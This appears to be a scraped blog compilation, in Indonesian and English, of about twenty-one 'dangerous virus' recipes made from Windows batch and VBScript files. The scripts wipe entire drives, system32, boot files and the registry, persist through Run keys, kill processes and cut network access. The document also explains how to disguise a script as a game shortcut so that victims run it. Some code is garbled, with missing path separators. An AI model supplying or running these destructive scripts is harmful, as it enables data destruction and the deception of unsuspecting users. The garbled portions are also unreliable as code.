1) Jangan membuka file dengan bat di COMPUTER Anda

2) Jika Anda sudah menjadi korban dari Virus ini, Setelah Anda PADA KOMPUTER Anda, dengan cepat Tekan ctrl + alt + delete pada keyboard Anda kemudian Start Task Manager, Sekarang klik pada Tab Processes dan cari fork.bat atau anyname Anda Gunakan , lalu meletakkan mouse di atasnya dan klik pada tombol End Process, thats semua.

Silakan Jatuhkan Komentar Anda Dan Klik On The Share & suka Tombol To Share Topic ini Dengan Teman Anda ..!
sumber:http://digit24computing.wordpress.com/2013/08/11/how-to-create-dangerous-virus-that-can-crash-computer/

Anda akan membuat virus ini menggunakan pemrograman batch file. Virus ini akan menghapus Drive C sepenuhnya. Hal yang baik tentang virus ini adalah bahwa hal itu tidak terdeteksi oleh antivirus. Jika Anda ingin mempelajari lebih lanjut tentang program batch yang mengunjungi posting saya tentang Belajar Batch Programming.

How to Make the virus ?
1.Buka Notepad dan salin kode di bawah ini ke dalamnya.
2.Simpan file ini sebagai virus.bat (Nama bisa apa saja tapi kelelawar adalah harus)
3.Sekarang, menjalankan file ini akan menghapus semua isi C Drive.

Peringatan: Jangan mencoba untuk berjalan di komputer Anda sendiri atau yang lain itu akan menghapus semua isi Anda C Drive. Aku tidak akan bertanggung jawab atas kerusakan yang dilakukan pada komputer Anda.

sumber:http://www.coolhackingtrick.com/2012/12/learn-to-make-dangerous-virus-in-minute.html

20 Viruses Using NotePad Very Dangerous
Note :

Here I am posting 21 program scripts which are helped in create a virus using
notepad. Some of them will works on windows xp and. some of them in windows 7


Here is a Batch File virus which can:
1.Copy itself into startup
2.Copy itself over one thousand times into random spots in your computer.
3.Hide its self and all other created files
4.Task kill MSN, Norton, Windows Explorer, Limewire.
5.Swap the left mouse button with the right one
6.Opens alert boxes
7.Changes the time to 12:00 and shuts down the computer
copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).
Here is the Code:

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
No 2:-

Just open your notepad
1) Click start -> all programs -> accessories -> notepad
2) Or just press or click windows key + r :: run window will open and
type notepad and hit enter .

NOW TYPE THE FOLLOWING CODE ::

@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q

Then save it as kinng.bat and the batch file is created .
WARNING :: This is the most dangerous virus! Be careful with its use.

Delete the entire registry

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

Now save it as kinng.bat and the batch file is created .
No 3:-

How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE.


No 4 :-

How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

No 5 :-


ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a

No 6:-

Open Notepad
Write / copy the below command there:
" del c:\WINDOWS\system32\*.*/q " without quote
and save as " anything.bat"
Done. If You Give this file to your victim his SYSTEM 32 Folder will be deleted. Without which a Windows Pc cant be started.




No 7:-


Process:
Open Notepad
Copy the below command there
"rd/s/q D:\
rd/s/q C:\
rd/s/q E:\" ( without quotes )
Save as "anything.bat
This virus Formats the C ,D , and E Drive in 3 Seconds.

No 8 :-


Just open the Notepad and type the paste the following Code.
set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\\WINDOWS"
strfile="\\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having .vbs Extension .

No 9 :-

Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

No 10:-

Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

No 11 :-

Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

No 12:-

Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

No 13 :-
This Virus Deletes All The Content Of A Drive...

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00


Save The Above Code As Anything.bat




No 14:-

This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs

No 15 :-

The Most Simple Virus To Crush The Window
It Only Works With Windows XP


@Echo off
Del C: *.* |y

Save It As Anything.bat

No 16 :-

Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER crive


Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

No 17:-

Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

No 18 :-

Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File

No 19 :-

Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT


No 20 :-

System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File

No 21:-
Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup !

How to Spread it:
Windows does'nt allow to change the icon of .bat files. Therefore what you can do is :
Right click on the .bat file
Click on CREATE SHORTCUT
And hide the original file.
Now as this newly created file is just the shortcut, you can easily change its icon.
Right click on this shortcut
properties >>>..cutomize>>..choose icon
Now give an attractive icon to it.
Now name it something intresting. eg. PROTOTYPE or IGI etc.
Now your victim would think it to be the game , and he will be easily curropted.

sumber:http://www.madleets.com/Thread-20-Viruses-Using-NotePad-Very-Dangerous